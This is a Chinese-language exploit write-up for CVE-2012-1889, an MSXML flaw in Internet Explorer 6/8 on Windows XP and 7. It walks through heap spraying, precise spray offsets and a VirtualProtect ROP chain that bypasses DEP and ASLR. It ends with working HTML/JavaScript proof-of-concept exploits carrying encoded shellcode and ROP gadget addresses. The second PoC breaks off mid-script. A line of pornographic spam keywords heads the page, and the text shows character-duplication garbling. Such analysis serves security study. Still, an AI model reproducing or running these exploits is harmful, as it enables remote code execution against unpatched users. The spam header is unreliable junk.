国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

暴雷(CVE-2012-1889)漏洞分析報(bào)告

這篇具有很好參考價(jià)值的文章主要介紹了暴雷(CVE-2012-1889)漏洞分析報(bào)告。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

軟件名稱:Microsoft Internet Explorer

軟件版本:6.0/8.0

漏洞模塊:msxml3.dll

模塊版本

編譯日期:2022-07-06

操作系統(tǒng):Windows XP/7

漏洞編號(hào):CVE-2012-1889

危害等級(jí):高危

漏洞類型:緩沖區(qū)溢出

威脅類型:遠(yuǎn)程

軟件簡介

Internet Explorer(簡稱:IE)是微軟公司推出的一款網(wǎng)頁瀏覽器。原稱Microsoft Internet Explorer(6版本以前)和Windows Internet Explorer(7、8、9、10、11版本)。在IE7以前,中文直譯為“網(wǎng)絡(luò)探路者”,但在IE7以后官方便直接俗稱"IE瀏覽器"。

Microsoft XML Core Services(MSXML)是一組服務(wù),可用于JScript、VBScript、Microsoft開發(fā)編寫的應(yīng)用構(gòu)建基于XML的Windows-native應(yīng)用。

漏洞成因

MS12-043(CVE-2012-1889)是一個(gè)被360捕獲的系統(tǒng)級(jí)漏洞,受這個(gè)漏洞影響的系統(tǒng):

Windows XP SP3 (x86)

Windows XP SP2 (x64)

Windows Server 2003 SP2 (x86/x64)

Windows Vista SP2 (x86/x64)

Windows Server 2008 SP2 (x86/x64)

Windows 7 (x86/x64)

Windows 7 SPI (x86/x64)

Windows Server 2008 R2 (x86/x64)

Windows Server 2008 R2 SPI (x86/x64)

Windows 8 (x86/x64)

Microsoft XML Core Services 3.0、4.0、5.0、6.0版本中存在漏洞,該漏洞源于訪問未初始化內(nèi)存位置。遠(yuǎn)程攻擊者可利用該漏洞借助特制的web站點(diǎn),執(zhí)行任意代碼或?qū)е戮芙^服務(wù)。

利用過程

  1. WinXP+IE6

使用下面POC進(jìn)行漏洞的驗(yàn)證:

????

暴雷(CVE-2012-1889)漏洞分析報(bào)告

WinDBG進(jìn)行附加:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

運(yùn)行之后,程序會(huì)觸發(fā)漏洞,在0x5dd8d772中斷下來:?

暴雷(CVE-2012-1889)漏洞分析報(bào)告

在執(zhí)行CALL [ecx+18]這條指令時(shí)觸發(fā)漏洞,而ecx又是來自上面的eax取內(nèi)容,eax又來自[ebp-14h],是棧中的一個(gè)局部變量。

??? 已經(jīng)驗(yàn)證漏洞存在,下面使用POC2進(jìn)行測試:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

暴雷(CVE-2012-1889)漏洞分析報(bào)告

POC中通過定義初始化對(duì)象的同時(shí)創(chuàng)建一個(gè)IMG對(duì)象,改變棧中的值,進(jìn)而將eax改為0x0C0C0C0C,而eax被作為指針來使用,并將指針指向的內(nèi)容賦給ecx,然后ecx作為基址加上0x18的偏移取出內(nèi)容并調(diào)用。

此次運(yùn)行,程序在讀取eax(0x0C0C0C0C)上的內(nèi)容時(shí),引發(fā)數(shù)據(jù)訪問的異常。根據(jù)這個(gè)POC的驗(yàn)證,已經(jīng)可以將eax修改為0x0C0C0C0C。如何使0x0C0C0C0C處的代碼變成我們想要的內(nèi)容去執(zhí)行,可以用到堆噴射—Heap Spray。攻擊者在使用Heap Spray時(shí)候,會(huì)在堆棧溢出后將EIP指向堆區(qū)類似0x0C0C0C0C的位置,并且在這之前會(huì)使用Javascript申請(qǐng)大量的堆內(nèi)存,并將包含SlideCode和Shellcode的代碼塊不斷重復(fù)的占用所申請(qǐng)的內(nèi)存空間。Slide內(nèi)存一般由200個(gè)左右的Slide塊組成,每個(gè)Slide塊都有大量的滑板指令(NOP或者OR AL,OC)加上Shellcode組成。這樣只要0x0C0C0C0C命中任意一個(gè)滑板指令,都會(huì)將其引導(dǎo)到我們的Shellcode中。

暴雷(CVE-2012-1889)漏洞分析報(bào)告

使用Heap Spray技術(shù),將0xOCOCOCOC處填滿我們的Slide,當(dāng)執(zhí)行CALL[ecx+18h]時(shí),會(huì)將0x0C0C0C24上的內(nèi)容取出來當(dāng)函數(shù)地址去執(zhí)行,由于堆噴射0x0C0C0C24上的內(nèi)容也是0x0C0C0C0C,這樣就會(huì)CALL 0x0C0C0C0C,而0x0C0C0C0C正好是我們的Slide頭部,當(dāng)頭部執(zhí)行完大量的滑板指令之后,就會(huì)將執(zhí)行流程引導(dǎo)到我們的Shellcode,執(zhí)行我們的Shellcode

將Shellcode轉(zhuǎn)換為JS格式:????

暴雷(CVE-2012-1889)漏洞分析報(bào)告

準(zhǔn)備好轉(zhuǎn)碼后的Shellcode:?

暴雷(CVE-2012-1889)漏洞分析報(bào)告

制作滑板數(shù)據(jù):?

暴雷(CVE-2012-1889)漏洞分析報(bào)告

填充200M的內(nèi)存區(qū)域(申請(qǐng)200塊1MB大小的滑板數(shù)據(jù)區(qū)),試圖覆蓋0x0C0C0C0C,每個(gè)滑板塊由滑板數(shù)據(jù)和Shellcode組成。??

暴雷(CVE-2012-1889)漏洞分析報(bào)告

觸發(fā)漏洞:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

測試效果:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 成功執(zhí)行了我們構(gòu)造的指令。

  1. WinXP+IE8

IE8開啟了DEP,能夠在內(nèi)存上執(zhí)行額外的的檢查以防止運(yùn)行惡意代碼,基本原理是將數(shù)據(jù)所在內(nèi)存頁標(biāo)識(shí)為不可執(zhí)行,當(dāng)程序溢出成功轉(zhuǎn)入Shellcode時(shí),程序嘗試在數(shù)據(jù)頁面上執(zhí)行指令,此時(shí)CPU就會(huì)拋出異常,而不執(zhí)行惡意指令。

暴雷(CVE-2012-1889)漏洞分析報(bào)告

Return to libc,利用系統(tǒng)自身存在的代碼,來調(diào)用一些函數(shù)關(guān)閉DEP的保護(hù)。思路:DEP保護(hù)了ShellCode所屬內(nèi)存頁的執(zhí)行屬性,那么所有安排好的ShellCode都將不能執(zhí)行。但是系統(tǒng)空間的代碼所在的內(nèi)存屬性還是擁有執(zhí)行權(quán)限的,將異常處的代碼安排為系統(tǒng)代碼內(nèi)存地址。系統(tǒng)空間的代碼地址并非連續(xù)的,我們可以利用ESP和ret讓這些指令連接起來,只要能讓溢出點(diǎn)轉(zhuǎn)向系統(tǒng)空間的匯編指令那么,通過各種指令連接在一起就可以完成這個(gè)工作。ShellCode處于堆空間當(dāng)中,使用各種指令組合出一個(gè)調(diào)用virtualprotect的操作,將ShellCode處內(nèi)存改為可執(zhí)行屬性

先使用IE6的POC進(jìn)行測試:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

發(fā)現(xiàn)彈窗并不能觸發(fā),調(diào)試發(fā)現(xiàn)0x0C0C0C0C沒有是數(shù)據(jù),IE8開啟的DEP對(duì)Heap Spray進(jìn)行了限制,不允許直接字符串賦值,因此需要修改堆噴射的代碼:???

暴雷(CVE-2012-1889)漏洞分析報(bào)告

修改之后,再次進(jìn)行測試,沒能成功彈出MessageBox,提示開啟了數(shù)據(jù)執(zhí)行保護(hù):??

暴雷(CVE-2012-1889)漏洞分析報(bào)告

開啟DEP后,可寫的地方無法執(zhí)行,如果執(zhí)行就觸發(fā)DEP。需要使用VirtualProtect對(duì)其屬性進(jìn)行修改。我們可以使用Heap Spray技術(shù)將0x0C0C0C0C處填滿我們的Slide,當(dāng)執(zhí)行CALL [ECX+18]時(shí),將0x0C0C0C24處的內(nèi)容0x0C0C0C0C取出當(dāng)函數(shù)地址執(zhí)行,而此時(shí)0x0C0C0C0C正好為我們Slide的頭部,當(dāng)頭部執(zhí)行完后,會(huì)將執(zhí)行流程引導(dǎo)到Shellcode。

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 我們將0x0C0C0C24地址上的內(nèi)容填上VirtualProtect函數(shù)的地址,但問題是4個(gè)參數(shù)還是棧中的0C0C0C0C,棧中的內(nèi)容我們無法控制,堆中的內(nèi)容可以控制。因此,我們需要把??臻g切換到堆里面,即讓ESP指向堆,然后通過堆噴射,合理操作堆,才能調(diào)用VirtualProtect函數(shù)。

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 我們讓0x0C0C0C24地址上的內(nèi)容是XCHG EAX,ESP#RET 這組指令的地址。

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 當(dāng)CALL的時(shí)候,就會(huì)執(zhí)行這兩條指令,讓EAX和ESP進(jìn)行交換,此時(shí)ESP就成功的指向0x0C0C0C0C了,當(dāng)RET執(zhí)行時(shí),就會(huì)使用0x0C0C0C0C上的內(nèi)容作為返回地址,如圖,就會(huì)返回到 xxxxx。如果我們將xxxxx設(shè)置成VirtualProtect函數(shù)的地址,應(yīng)該會(huì)返回到VirtualProtect函數(shù)去執(zhí)行。

??? 但有問題出現(xiàn):

??? 如果0x0C0C0C0C上的內(nèi)容是VirtualProtect函數(shù)的地址,前面執(zhí)行 mov ecx,[eax] 時(shí),ecx也變成了VirtualProtect函數(shù)的地址,ecx加上18再取內(nèi)容,CALL的這個(gè)地方就不是可預(yù)測的了,程序就崩了。

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 如果我們將棧溢出部分的數(shù)據(jù)都填為0x0C0C0C08,這樣EAX就會(huì)等于0C0C0C08,ECX在0x0C0C0C08地址上取的依然是0C0C0C0C,ECX加18依然是0x0C0C0C24,CALL的時(shí)候依然會(huì)到指令組合,返回的時(shí)候返回到0x0C0C0C0C。如果這個(gè)地址上填VirtualProtect的地址,應(yīng)該會(huì)返回到VirtualProtect函數(shù)去執(zhí)行。

??? 此時(shí),又有問題出現(xiàn):

??? 如果0x0C0C0C0C上的內(nèi)容是VirtualProtect函數(shù)的地址,前面執(zhí)行 mov ecx,[eax]時(shí),在0x0C0C0C0C上取內(nèi)容,取得就是VirtualProtect函數(shù)的地址,再加上18取內(nèi)容,還是不可知的地方,程序還是會(huì)崩潰。

??? 不管怎樣,ECX都會(huì)是0x0C0C0C0C,再加上0x18就是0x0C0C0C24,然后再CALL,執(zhí)行交換指令,最后都會(huì)返回到0x0C0C0C0C地址上的內(nèi)容,而0x0C0C0C0C這個(gè)地址上的內(nèi)容如果修改,就會(huì)影響前面,邏輯出現(xiàn)死鎖。

這時(shí)候,我們需要對(duì)溢出點(diǎn)前后的代碼進(jìn)行觀察分析:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

我們發(fā)現(xiàn)在引發(fā)漏洞的下面,對(duì)ESI取內(nèi)容給了EAX,然后又將ESI壓入棧,又將EAX加8取內(nèi)容,CALL這個(gè)內(nèi)容。對(duì)這個(gè)CALL 的內(nèi)容進(jìn)行分析,EAX來自ESI取內(nèi)容,而ESI有來自上面的EAX,而上面的EAX是0C0C0C08,ESI也是0C0C0C08,而0x0C0C0C08上面的內(nèi)容還是0C0C0C0C,所以這里的EAX是0C0C0C0C,而EAX加8就是0C0C0C14,CALL的就是0x0C0C0C14上面的內(nèi)容。

暴雷(CVE-2012-1889)漏洞分析報(bào)告

因此,我們可以將上面的0x0C0C0C24地址上填一個(gè)RET的地址,當(dāng)執(zhí)行到這的時(shí)候,不會(huì)觸發(fā)漏洞,直接返回。繼續(xù)往下執(zhí)行,EAX就會(huì)變成0C0C0C0C,再加上8,CALL這個(gè)0x0C0C0C14地址上面的內(nèi)容,我們將0x0C0C0C14地址上填為交換EAX和ESP、RET組合指令的地址,執(zhí)行完XCHG命令后,ESP就指向了0C0C0C0C。RET執(zhí)行時(shí),就會(huì)使用0x0C0C0C0C上的內(nèi)容作為返回地址。這個(gè)時(shí)候,如果我們把0x0C0C0C0C地址上的內(nèi)容改為VirtualProtect地址,就有可能執(zhí)行VitrualProtect這個(gè)函數(shù)

暴雷(CVE-2012-1889)漏洞分析報(bào)告

但是,這個(gè)時(shí)候還不能在0x0C0C0C0C的地方填VirtualProtect的地址,因?yàn)槠溥€有四個(gè)參數(shù),參數(shù)會(huì)將下面的內(nèi)容給覆蓋,空間不夠,還需要再進(jìn)一步操作。

暴雷(CVE-2012-1889)漏洞分析報(bào)告

整個(gè)流程

mov eax,[ebp-14]:EAX值是0C0C0C08;

mov esi,eax:將這個(gè)值給ESI,ESI也變成了0C0C0C08;

mov ecx,[eax]:在0x0C0C0C08上取內(nèi)容給ECX,ECX變成了0C0C0C0C

all [ecx+18]:0C0C0C0C加18等于0C0C0C24,然后CALL這個(gè)地址上的內(nèi)容,就是執(zhí)行了RET,直接返回

mov eax,[esi]:將ESI(0C0C0C08)取內(nèi)容給EAX,EAX變成了0C0C0C0C

call [eax+8]:將0C0C0C0C加上8等于0C0C0C014,然后CALL這個(gè)地址上的內(nèi)容,就執(zhí)行了XCHG指令,執(zhí)行完后ESP變成了0C0C0C0C

RET的時(shí)候就會(huì)將0x0C0C0C0C上的內(nèi)容彈出作為EIP,然后去執(zhí)行,而0x0C0C0C0C上又是一個(gè)RET的地址,執(zhí)行完后,就行執(zhí)行下一行。

0x0C0C0C10上是 pop exx#ret的地址,這個(gè)指令是為了將下面的XCHG指令繞過,防止再執(zhí)行,pop之后,下面的XCHG命令的地址就沒了,ret后就會(huì)到下面RET的地址,然后一直RET。必須保證0x0C0C0C24的地址上的內(nèi)容是RET的地址,所以到了0x0C0C0C28的時(shí)候才可以在填VirtualProtect函數(shù)的地址。

思路已經(jīng)理清楚,如何保證堆噴射的時(shí)候,噴射后的對(duì)應(yīng)位置時(shí)我們剛才構(gòu)造的指令?

精準(zhǔn)堆噴射:

一個(gè)內(nèi)存的分布都是以一個(gè)分頁為單位,大多數(shù)x86系統(tǒng)中,這個(gè)分頁都是4KB(0x1000字節(jié))。假如我們知道了一個(gè)地址距離某個(gè)內(nèi)存頁起始位置的偏移(地址0x0C0C0C0C距離內(nèi)存頁起始位置的偏移為0x5F6),就需要我們構(gòu)建N個(gè)類似的內(nèi)存塊,每個(gè)內(nèi)存塊的數(shù)據(jù)完全相同,并且都在0x5F6開始有關(guān)鍵數(shù)據(jù),就可以構(gòu)成精準(zhǔn)堆噴射。

暴雷(CVE-2012-1889)漏洞分析報(bào)告

確定Padding的大?。合鄬?duì)偏移=(目標(biāo)地址-UserPtr地址)%0x1000/2??

先調(diào)試Step1.htm,確認(rèn)其覆蓋0x0C0C0C0C后,執(zhí)行下面的命令:

!heap -p -a 0c0c0c0c,找到堆的信息

暴雷(CVE-2012-1889)漏洞分析報(bào)告

相對(duì)偏移=(0x0C0C0C0C-0x0c060020) %0x1000/2=5F6。

??? 找到精準(zhǔn)位置后,構(gòu)建腳本測試:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? WinDBG附加進(jìn)程,輸入g命令,然后在瀏覽器中允許,程序會(huì)在WinDBG中斷下來,輸入: dd 0c0c0c0c,看上面的內(nèi)容:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 說明我們的精準(zhǔn)堆噴射已經(jīng)成功,我們只需要在上面填上我們構(gòu)造的命令即可完成。

??? 構(gòu)造執(zhí)行鏈:???

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 找到ret指令的地址:!py mona findwild -s "ret" -m msvcrt.dll

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 找到 pop ebp#ret指令的地址:!py mona findwild -s "pop ebp#ret" -m msvcrt.dll?

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 找到 xchg eax,esp#ret指令的地址:!py mona findwild -s "xchg eax,esp#ret" -m msvcrt.dll

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 找到 VirtualProtect的地址:u VirtualProtect???????

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? VirtualProtect函數(shù)需要保存舊屬性,因次要找一個(gè)可以寫的地址保存。 可以在msvcrt.dll中找一個(gè)具有寫入屬性的區(qū)段。 因?yàn)閰^(qū)段在內(nèi)存中對(duì)齊后通常最后邊的內(nèi)容都是無用的,所以可以用最后四個(gè)字節(jié)來保存舊屬性

??? 使用LoadPE查看msvcrt.dll各區(qū)段????

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 使用命令分別查看各區(qū)段的屬性:?????

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 發(fā)現(xiàn)data段有WRITECOPY的權(quán)限,看這個(gè)區(qū)段的最后位置:77be0000 + 54000 – 4????

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 有讀寫的權(quán)限,所以我們可以找:77be0000 + 54000 - 4 =77C33FFC 來保存舊屬性

因此,整個(gè)流程的地址都構(gòu)造好了:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 最后面只需要加上我們的payload即可:???

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 運(yùn)行測試,成功執(zhí)行我們構(gòu)造的指令:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

  1. Win7+IE8

Win7中又多了一個(gè)ASLR保護(hù),通過隨機(jī)放置進(jìn)程關(guān)鍵數(shù)據(jù)區(qū)域的地址來防止攻擊者能可靠地跳轉(zhuǎn)到內(nèi)存的特定位置來利用函數(shù)。因此,我們需要找到未開啟ASLR得DLL

命令:!py mona mod????

暴雷(CVE-2012-1889)漏洞分析報(bào)告

找到了3個(gè)dll沒有開啟ASLR:jp2ssv.dll、ssv.dll、MSVR71.dll,重啟之后,對(duì)比發(fā)現(xiàn)確實(shí)沒有改變基址。下面就是使用mona命令,找到對(duì)應(yīng)的一些地址。

??? 找到ret指令的地址:!py mona findwild -s "ret" -m jp2ssv.dll

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 找到 pop ebp#ret指令的地址:!py mona findwild -s "pop ebp#ret" -m jp2ssv.dll????

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 找到 xchg eax,esp#ret指令的地址:!py mona findwild -s "xchg eax,esp#ret" -m ssv.dll

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 找到 VirtualProtect的地址:u kernel32! VirtualProtect????

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? VirtualProtect函數(shù)需要保存舊屬性,因次要找一個(gè)可以寫的地址保存。 可以在ssv.dll中找一個(gè)具有寫入屬性的區(qū)段。 因?yàn)閰^(qū)段在內(nèi)存中對(duì)齊后通常最后邊的內(nèi)容都是無用的,所以可以用最后四個(gè)字節(jié)來保存舊屬性

??? 使用LoadPE查看ssv.dll各區(qū)段(C:\Program Files\Java\jre6\bin\ssv.dll)

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 使用命令分別查看各區(qū)段的屬性:????

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 發(fā)現(xiàn)data段有READWRITE的權(quán)限,看這個(gè)區(qū)段的最后位置:6d730000 + 22000 – 4

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 有讀寫的權(quán)限,所以我們可以找:6d730000 + 22000 – 4 =6d751ffc 來保存舊屬性

因此,整個(gè)流程的地址都構(gòu)造好了:???

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 最后面只需要加上我們的payload即可:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

??? 運(yùn)行測試,成功執(zhí)行我們構(gòu)造的指令:

暴雷(CVE-2012-1889)漏洞分析報(bào)告

PoC

  1. WinXP+IE6 POC

<html>

<head>

??? <title>CVE 2012-1889 PoC v3 By:15PB.Com</title>

</head>

<body>

??? <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>

??? <script>

??????? // 1.? 準(zhǔn)備好Shellcode(unescape()是解碼函數(shù))

??????? var cShellcode = unescape(

??????? "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +

??????? "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +

??????? "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +

??????? "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +

??????? "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +

??????? "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +

??????? "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +

??????? "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +

??????? "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +

??????? "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +

??????? "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +

??????? "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +

??????? "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +

??????? "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +

??????? "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +

??????? "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +

??????? "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +

??????? "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +

??????? "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +

??????? "\uC25D\u0010\u0000");

??????? // 2.? 制作一塊滑板數(shù)據(jù)

??????? // 2.1 計(jì)算填充滑板指令數(shù)據(jù)的大?。ǘ汲?是因?yàn)閘ength返回的是Unicode的字符個(gè)數(shù))

??????? var nSlideSize????? = 1024*1024 / 2;???? // 一個(gè)滑板指令區(qū)的大?。?MB)

??????? var nMlcHadSize???? = 32??????? / 2;???? // 堆頭部大小

??????? var nStrLenSize???? = 4???????? / 2;???? // 堆長度信息大小

??????? var nTerminatorSize = 2???????? / 2;???? // 堆結(jié)尾符號(hào)大小

??????? var nScSize???????? = cShellcode.length; // Shellcode大小

??????? var nFillSize?????? = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;

??????? // 2.2 填充滑板指令,制作好一塊填充數(shù)據(jù)

??????? var cFillData? = unescape("\u0C0C\u0C0C"); // 滑板指令 0C0C?? OR AL,0C

??????? var cSlideData = new Array();????????????? // 申請(qǐng)一個(gè)數(shù)組對(duì)象用于保存滑板數(shù)據(jù)

??????? while (cFillData.length <= nSlideSize)

??????????? cFillData += cFillData;

??????? cFillData = cFillData.substring(0, nFillSize);

????? //3.填充200MB的內(nèi)存區(qū)域(申請(qǐng)200塊1MB大小的滑板數(shù)據(jù)區(qū)),試圖覆蓋0x0C0C0C0C

????? //區(qū)域,每塊滑板數(shù)據(jù)均由 滑板數(shù)據(jù)+Shellcode 組成,這樣只要任意一塊滑板數(shù)據(jù)

????? //正好落在0x0C0C0C0C處,大量無用的“OR AL,0C”就會(huì)將執(zhí)行流程引到滑板數(shù)據(jù)區(qū)

??????? // 后面的Shellcode處,進(jìn)而執(zhí)行Shellcode。

??????? for (var i = 0; i < 200; i++)

??????????? cSlideData[i] = cFillData + cShellcode;

??????? // 4.? 觸發(fā)CVE 2012-1889漏洞

??????? // 4.1 獲取名為15PB的XML對(duì)象,并將其保存到名為obj15PB實(shí)例中

??????? var obj15PB = document.getElementById('15PB').object;

??????? // 4.2 構(gòu)建一個(gè)長度為0x1000-10=8182,起始內(nèi)容為“\\15PB_Com”字節(jié)的數(shù)據(jù)

??????? var srcImgPath = unescape("\u0C0C\u0C0C");

??????? while (srcImgPath.length < 0x1000)

??????????? srcImgPath += srcImgPath;

??????? srcImgPath = "\\\\15PB_Com" + srcImgPath;

??????? srcImgPath = srcImgPath.substr(0, 0x1000-10);

??????? // 4.3 創(chuàng)建一個(gè)圖片元素,并將圖片源路徑設(shè)為srcImgPath,并返回當(dāng)前圖片文件名

??????? var emtPic = document.createElement("img");

??????? emtPic.src = srcImgPath;

??????? emtPic.nameProp;

??????? // 4.4 定義對(duì)象obj15PB(觸發(fā)溢出)

??????? obj15PB.definition(0);

??? </script>

</body>

</html>

  1. WinXP+IE8 POC

<html>

<head>

??? <title>By:15PB.Com</title>

</head>

<body>

??? <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='15PB'></object>

??? <script>

??????? // 1.? 生成Padding

??????? var cPadding = unescape("\u0C0C\u0C0C");

??????? while (cPadding.length < 0x1000)

??????????? cPadding += cPadding;

??????? cPadding = cPadding.substring(0, 0x5F6);

??????? // 2.? 制作Ret2Libc

??????? var cRet2Libc = unescape(

???????????? "\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]

???????????? "\uBB8B\u77BE" + // 0x77BEBB8B : # POP EBP # RETN [msvcrt.dll]

???????????? "\uA891\u77C0" + // 0x77C0A891 : # XCHG EAX, ESP # RETN [msvcrt.dll]

???????????? "\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]

???????????? "\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]

???????????? "\u1110\u77BE" + // 0x77BE1110 : # RETN (ROP NOP) [msvcrt.dll]

???????????? "\u1110\u77BE" + // 0x77BE1110: # RETN (ROP NOP) [msvcrt.dll]<-ROP Entry

???????????? "\u1AD4\u7C80" + // 0x7C801AD4 : # Return to VirtualProtect

???????????? "\u0C40\u0C0C" + // 0x0C0C0C40 : # Return Addr(Payload Addr)

???????????? "\u0C40\u0C0C" + // 0x0C0C0C40 : # lpAddress????? = Payload Addr

???????????? "\u1000\u0000" + // 0x00001000 : # dwSize???????? = 0x00001000

???????????? "\u0040\u0000" + // 0x00000040 : # flNewProtect?? = 0x00000040

???????????? "\u3FFC\u77C3" );// 0x77C33FFC : # lpflOldProtect = 0x77C33FFC

???? // 3.? 準(zhǔn)備好Payload(unescape()是解碼函數(shù))

??????? var cPayload = unescape(

??????? "\u8360\u20EC\u4CEB\u6547\u5074\u6F72\u4163\u6464" +

??????? "\u6572\u7373\u6F4C\u6461\u694C\u7262\u7261\u4579" +

??????? "\u4178\u5500\u6573\u3372\u2E32\u6C64\u006C\u654D" +

??????? "\u7373\u6761\u4265\u786F\u0041\u7845\u7469\u7250" +

??????? "\u636F\u7365\u0073\u6548\u6C6C\u206F\u3531\u4250" +

??????? "\u0021\u00E8\u0000\u5B00\u8B64\u3035\u0000\u8B00" +

??????? "\u0C76\u768B\u8B1C\u8B36\u0856\u5253\u12E8\u0000" +

??????? "\u8B00\u8DF0\uBD4B\u5251\uD0FF\u5653\u5250\u6EE8" +

??????? "\u0000\u5500\uEC8B\uEC83\u520C\u558B\u8B08\u3C72" +

??????? "\u348D\u8B32\u7876\u348D\u8B32\u1C7E\u3C8D\u893A" +

??????? "\uFC7D\u7E8B\u8D20\u3A3C\u7D89\u8BF8\u247E\u3C8D" +

??????? "\u893A\uF47D\uC033\u01EB\u8B40\uF875\u348B\u8B86" +

??????? "\u0855\u348D\u8B32\u0C5D\u7B8D\uB9AF\u000E\u0000" +

??????? "\uF3FC\u75A6\u8BE3\uF475\uFF33\u8B66\u463C\u558B" +

??????? "\u8BFC\uBA34\u558B\u8D08\u3204\u8B5A\u5DE5\u08C2" +

??????? "\u5500\uEC8B\uEC83\u8B08\u145D\u4B8D\u6ACC\u6A00" +

??????? "\u5100\u55FF\u8D0C\uD74B\u5051\u55FF\u8910\uFC45" +

??????? "\u4B8D\u51E3\u75FF\uFF08\u1055\u4589\u8DF8\uEF4B" +

??????? "\u006A\u5151\u006A\u55FF\u6AFC\uFF00\uF855\uE58B" +

??????? "\uC25D\u0010\u0000");

??? // 4.? 準(zhǔn)備好FillData

??? // 4.1 計(jì)算填充滑板指令數(shù)據(jù)的大小(都除2是因?yàn)閘ength返回的是Unicode的字符個(gè)數(shù))

??????? var nSlideSize = 0x1000;?????????? // 一個(gè)滑板指令塊的大?。?KB)

??????? var nPadSize?? = cPadding.length;? // Padding大小

??????? var nR2LSize?? = cRet2Libc.length; // Ret2Libc大小

??????? var nPySize??? = cPayload.length;? // Shellcode大小

??????? var nFillSize? = nSlideSize-nPadSize-nR2LSize-nPySize;

??????? // 4.2 制作好一塊填充數(shù)據(jù)

??????? var cFillData? = unescape("\u0C0C\u0C0C");

??????? while (cFillData.length < nSlideSize)

??????????? cFillData += cFillData;

??????? cFillData = cFillData.substring(0, nFillSize);

??????? // 5.? 構(gòu)建滑板指令數(shù)據(jù)塊

??????? var nBlockSize = 0x40000;? // 256KB

??????? var cBlock???? = cPadding + cRet2Libc + cPayload + cFillData;

??????? while (cBlock.length < nBlockSize)

??????????? cBlock += cBlock;

??????? cBlock = cBlock.substring(2, nBlockSize-0x20); // 0x809

???? // 6.填充200MB的內(nèi)存區(qū)域(申請(qǐng)800塊256KB大小的滑板數(shù)據(jù)區(qū)),試圖覆蓋0x0C0C0C0C

???? //區(qū)域,每塊滑板數(shù)據(jù)均由 滑板數(shù)據(jù)+Shellcode 組成,這樣只要任意一塊滑板數(shù)據(jù)

???? //正好落在0x0C0C0C0C處,大量無用的“OR AL,0C”就會(huì)將執(zhí)行流程引到滑板數(shù)據(jù)區(qū)

???? //后面的Shellcode處,進(jìn)而執(zhí)行Shellcode。

??????? var cSlideData = new Array();

??????? for (var i = 0; i < 800; i++)

??????????? cSlideData[i] = cBlock.substr(0, cBlock.length);

???? // 7.? 觸發(fā)CVE 2012-1889漏洞

???? // 7.1 獲取名為15PB的XML對(duì)象,并將其保存到名為obj15PB實(shí)例中

??????? var obj15PB = document.getElementById('15PB').object;

???? // 7.2 構(gòu)建一個(gè)長度為0x1000-10=8182,起始內(nèi)容為“\\15PB_Com”字節(jié)的數(shù)據(jù)

??????? var srcImgPath = unescape("\u0C0C\u0C08");

??????? while (srcImgPath.length < 0x1000)

??????????? srcImgPath += srcImgPath;

